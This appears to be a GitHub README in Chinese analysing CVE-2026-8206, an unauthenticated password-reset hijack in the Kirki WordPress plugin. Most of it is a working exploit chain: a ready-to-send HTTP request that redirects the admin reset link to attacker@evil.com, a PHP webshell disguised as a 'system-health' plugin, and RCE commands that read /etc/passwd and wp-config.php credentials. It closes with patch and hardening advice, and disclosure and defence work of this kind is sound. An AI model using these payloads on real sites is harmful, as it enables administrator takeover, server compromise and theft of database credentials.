Dungsocool/CVE-2026-8206

GitHub: Dungsocool/CVE-2026-8206

该项目详细记录了 WordPress Kirki Customizer Framework 插件中由密码重置邮件劫持引发的未授权账户接管漏洞的根因分析与完整利用链。

Stars: 0 | Forks: 0

# CVE-2026-8206 ## 漏洞:未授权账户接管 —— Kirki Customizer Framework 中的密码重置邮件劫持 **CVSS v3.1 9.8 / 10.0 严重** 向量:`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ## 1. 概述 CVE-2026-8206 是 Kirki Customizer Framework(一个拥有超过 90,000 个活跃安装的流行 WordPress 页面构建器插件)中的一个**未授权账户接管**漏洞。该漏洞允许攻击者只需发送单个 HTTP 请求即可接管任何 WordPress 账户(包括管理员)。 该漏洞存在于 ComponentLibrary 模块的 REST API 端点 `kirki-forgot-password` 中。此端点允许请求为任何用户重置密码,并将重置链接发送到**由攻击者指定的电子邮件地址**,而不是用户的注册邮箱。 | 信息 | 详情 | | --- | --- | | 插件 | Kirki Customizer Framework (WordPress 页面构建器) | | 受影响版本 | 6.0.0 – 6.0.6 | | 已修补 | 6.0.7 (或 6.0.12+) | | 漏洞类型 | 通过密码重置邮件劫持进行未授权账户接管 | | 端点 | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` (或 `/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password`) | | CVSS | 9.8 严重 | **利用前提:** - 已激活 Kirki Customizer Framework 6.0.0–6.0.6 - REST API 公开(WordPress 默认) - ComponentLibrary 模块处于活动状态(插件激活时的默认状态) - 无需任何账户或会话 → 每个安装了 Kirki 6.0.0–6.0.6 的 WordPress 网站在默认情况下都是脆弱的。 ## 2. 术语 ### ComponentLibrary REST 端点 Kirki 为组件库(Component Library)功能注册了 REST API 端点,包括登录、注册、忘记密码和修改密码。所有这些都允许访客访问(`guest_permissions_check` 返回 `true`)。 ### Nonce 验证 WordPress nonce 是一个 CSRF 保护 token。Kirki 通过 `X-WP-Element-Nonce` 请求头要求提供 nonce,或者检查请求中的 nonce 参数。然而,该 nonce 可以从客户端公开生成/提取。 ### 密码重置 Key WordPress 使用 `get_password_reset_key()` 来生成密码重置 token。Kirki 在发送之前会将此 token 包含在电子邮件模板中。 ## 3. 根本原因 —— 密码重置邮件劫持 **文件:** `ComponentLibrary/controller/CompLibFormHandler.php` ### 缺陷 1:缺少邮箱与用户匹配的验证 在受影响的版本(6.0.0–6.0.6)中,`handle_forgot_password()` 函数没有验证提供的邮箱是否与用户的注册邮箱相匹配。攻击者可以指定受害者的用户名和自己的邮箱——重置链接将被发送到攻击者的邮箱中。 存在漏洞的源代码: ``` public function handle_forgot_password( $request ) { $form_data = $request->get_body_params(); $this->validate_nonce( 'kirki-forgot-password' ); $email = $form_data['email']; // <-- ATTACKER CONTROLLED $username = $form_data['username']; $user = get_user_by( 'login', $username ); //BUG: Does NOT check $email === $user->user_email // Attacker's email is used directly $key = get_password_reset_key( $user ); $reset_link = "$url?action=rp&key=$key&login=$username"; // SENDS RESET LINK TO ATTACKER'S EMAIL wp_mail( $email, $subject, $body_with_reset_link ); // ^^^^^ // ATTACKER'S EMAIL, NOT THE USER'S EMAIL } ``` ### 缺陷 2:电子邮件模板缺少 HMAC 签名 邮件的主题和正文通过 `emailSubject` 和 `emailBody` 参数从客户端接收,没有任何 HMAC 签名来验证其完整性。攻击者可以任意修改要发送的电子邮件的内容。 ``` // VULNERABLE VERSION: No HMAC verification $email_subject = $form_data['emailSubject']; // Client-controlled $email_body = $form_data['emailBody']; // Client-controlled // No verify_email_template_signature() // PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB $user_email = $user->get( 'user_email' ); if ( $email !== $user_email ) { return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 ); } ``` ## 4. 为什么此漏洞很危险 | 因素 | 说明 | | --- | --- | | 无需身份验证 | `guest_permissions_check()` 返回 `true` —— 任何人都可以调用该端点 | | 任何账户都可能被接管 | 只需要用户名(默认:'admin') —— 不需要邮箱/密码 | | 影响:管理员接管 | 接管管理员 → 上传 webshell → RCE → 完全控制服务器 | | 影响广泛 | Kirki 是一个被广泛集成到许多 WordPress 主题中的插件 | ## 5. 攻击链分析 利用 CVE-2026-8206 从零访问开始(没有账户、没有密码、没有会话),仅使用 HTTP 请求即可实现完全的管理员接管。 ``` Phase 1: Extract Nonce → Obtain nonce from a public page (if required) Phase 2: Hijack Reset Email → Send reset link to attacker's email Phase 3: Reset Password → Change admin password using the obtained reset key Phase 4: Login Admin → Log in with the new password Phase 5: Webshell Upload → Install backdoor via plugin upload Phase 6: RCE → Execute arbitrary commands on the server ``` ### **5.0 Payload 构造方法** #### **步骤 1:阅读源代码(最准确的方法)** 从 `wordpress.org` 下载插件并直接打开 `CompLibFormHandler.php` 文件: ``` // The handle_forgot_password function receives data from the client: $email_subject = isset( $form_data['emailSubject'] ) ? sanitize_text_field( $form_data['emailSubject'] ) : ''; $email_body = isset( $form_data['emailBody'] ) ? json_decode( $form_data['emailBody'], true ) : ''; // Email body rendering logic: foreach ( $email_body as $body_data ) { if ( $body_data['type'] === 'text' ) { $email_body = $email_body . $body_data['value']; } elseif ( $body_data['type'] === 'chip' ) { $email_body = $email_body . $chip_data[ $body_data['value'] ]; // ^^^^^^^^^^^^^^^^^^^ // $chip_data['reset_link'] = actual reset URL! } } ``` → 阅读代码发现:`emailBody` 必须是一个 JSON 数组,每个项包含 `type` 和 `value`。如果 `type = chip` 且 `value = reset_link`,Kirki 会自动将重置链接插入到电子邮件中。 #### **步骤 2:使用 Grep 搜索插件的 JavaScript Bundle** 直接在插件目录中进行 grep 搜索: ``` grep -r "emailBody" wp-content/plugins/kirki/assets/js/ grep -r "reset_link" wp-content/plugins/kirki/assets/js/ ``` 编译后的前端代码将揭示所需的精确 JSON 结构。 #### **Payload 发现过程总结:** ``` Find endpoint (/wp-json/ or rest_route) ↓ Read PHP source → find $form_data['emailBody'] ↓ Understand JSON array format (type / value) ↓ Read chip_data array → find key "reset_link" ↓ Build payload: emailBody=[{"type":"chip","value":"reset_link"}] ↓ Test → success ``` ### 5.1 阶段 1:劫持密码重置邮件 攻击者向忘记密码端点发送 POST 请求,其中包含受害者的用户名(`admin`)和攻击者控制的电子邮件地址(`attacker@evil.com`)。服务器为受害人生成重置 key,但将重置链接发送给 `attacker@evil.com`。 发送请求: ``` POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1 Host: localhost:8181 Content-Type: application/x-www-form-urlencoded username=admin&email=attacker@evil.com&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D ``` ![发送重置邮件的拦截请求](https://raw.githubusercontent.com/Dungsocool/CVE-2026-8206/main/assets/image.png) 响应(成功): ![确认邮件已发送的响应](https://static.pigsec.cn/wp-content/uploads/repos/cas/a2/a208e7f6800e6159b36ae8e3ab63c250334ab74299470dabd28f2aee32df6654.png) **攻击者邮箱收到的邮件(位于 http://localhost:8025 的 MailHog):** ``` Subject: Password Reset Click the link below to reset your password: http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin ``` ![接收重置 key 的 MailHog 收件箱](https://raw.githubusercontent.com/Dungsocool/CVE-2026-8206/main/assets/image%202.png) ### 5.2 阶段 2:重置密码并登录管理员后台 攻击者使用从电子邮件中获取的 `key` token,通过 `kirki-change-password` 端点或 WordPress 的默认表单更改管理员账户密码,然后登录并获得对该网站的完全管理控制权。 ![密码重置表单](https://static.pigsec.cn/wp-content/uploads/repos/cas/16/1698cef4a38e799a6ae4622d2ce9da11fee8ee8dd108e520b4618a5932a0c5d0.png) 密码已更改,并使用 `admin` 账户进行访问。 ![管理员仪表盘登录成功](https://raw.githubusercontent.com/Dungsocool/CVE-2026-8206/main/assets/image%204.png) 账户 `admin` 访问成功。 ### **5.3 阶段 3:上传 Webshell 并进行 RCE** 获得管理员仪表盘访问权限后,攻击者通过 WordPress 默认的上传插件功能,从**账户接管**升级为**远程代码执行(RCE)**。 #### **步骤 1:创建包含 Webshell 的插件** 攻击者创建一个伪装成合法 WordPress 插件的 PHP webshell: ``` '; echo htmlspecialchars(shell_exec($_REQUEST['cmd'])); echo ''; } ``` 该文件被压缩成 `system-health.zip`,以便通过管理界面上传。 #### **步骤 2:通过管理员仪表盘上传插件** 攻击者导航到 **插件 → 添加新插件 → 上传插件**,选择 `system-health.zip` 文件并点击 **立即安装 → 启用插件**。 ![上传插件界面](https://static.pigsec.cn/wp-content/uploads/repos/cas/4f/4fb61cf3ad09ae3486b72cff5b1277da6f4820aad925a4be1ee312e5b2dce940.png) 上传后,WordPress 会自动将 `.zip` 文件解压到服务器上的 `/wp-content/plugins/` 目录中,使 webshell 准备好运行。 #### **步骤 3:在服务器上执行命令(RCE)** 攻击者通过端点 `/wp-content/plugins/webshell-plugin/shell.php` 直接访问 webshell ![RCE 执行 whoami 命令](https://raw.githubusercontent.com/Dungsocool/CVE-2026-8206/main/assets/image%206.png) ![RCE 执行 passwd 命令](https://raw.githubusercontent.com/Dungsocool/CVE-2026-8206/main/assets/image%207.png) RCE 成功。 此时,攻击者拥有在服务器上以 `www-data` 权限完全执行命令的能力。后续操作可能包括: | **命令** | **目的** | | --- | --- | | `id` | 确认运行用户的权限 | | `whoami` | 查看当前用户名 | | `cat /etc/passwd` | 读取系统用户列表 | | `uname -a` | 查看 kernel/OS 信息 | | `cat wp-config.php` | 读取数据库凭据 | | `ls -la /` | 浏览整个文件系统 | #### **权限提升链总结:** ``` Admin Dashboard (Account Takeover) ↓ Upload Plugin containing Webshell (.zip) ↓ WordPress extracts → .php file resides on server ↓ Access shell.php?cmd= ↓ Server executes command → returns result ↓ RCE complete — full www-data privileges on server ``` ## **6. 攻击链总结** | **#** | **阶段** | **方法** | **路径** | | --- | --- | --- | --- | | 1 | 劫持重置邮件 | POST | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` | | 2 | 重置密码 | GET | `/wp-login.php?action=rp&key=&login=admin` | | 3 | 登录管理员 | POST | `/wp-login.php` | | 4 | 上传 Webshell | POST | `/wp-admin/update.php?action=upload-plugin` | | 5 | RCE | GET | `/wp-content/plugins/webshell-plugin/shell.php?cmd=` | ## **7. 防御与修复** ### **7.1 插件补丁(根本修复)** | **当前版本** | **升级至** | | --- | --- | | 6.0.0 – 6.0.6 | **6.0.7** 或更新版本 | ### **7.2 代码修复 —— 验证邮箱与用户是否匹配** ``` // AFTER (patched): $user_email = $user->get( 'user_email' ); if ( $email !== $user_email ) { return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 ); } $email = $user_email; // Force use of the user's actual email ``` ### **7.3 加固 —— 阻止 RCE 权限提升** 即使管理员账户被攻破,也可以通过以下措施减轻损害: | **措施** | **配置** | | --- | --- | | 阻止通过仪表盘安装插件/主题 | 将 `define('DISALLOW_FILE_MODS', true);` 添加到 `wp-config.php` | | 阻止从仪表盘编辑代码 | 将 `define('DISALLOW_FILE_EDIT', true);` 添加到 `wp-config.php` | | 限制上传目录权限 | 目录使用 `chmod 755`,文件使用 `chmod 644` | | WAF (Web Application Firewall) | 部署 ModSecurity 或 Cloudflare WAF 以阻止对 REST API 的异常请求 | | 监控 | 使用 OSSEC 或 Wordfence 等工具监控 `/wp-content/plugins/` 中的文件更改 |
标签:CISA项目, CVE, Libemu, Web安全, WordPress插件, 数字签名, 文件完整性监控, 漏洞分析, 蓝队分析, 账户接管, 路径探测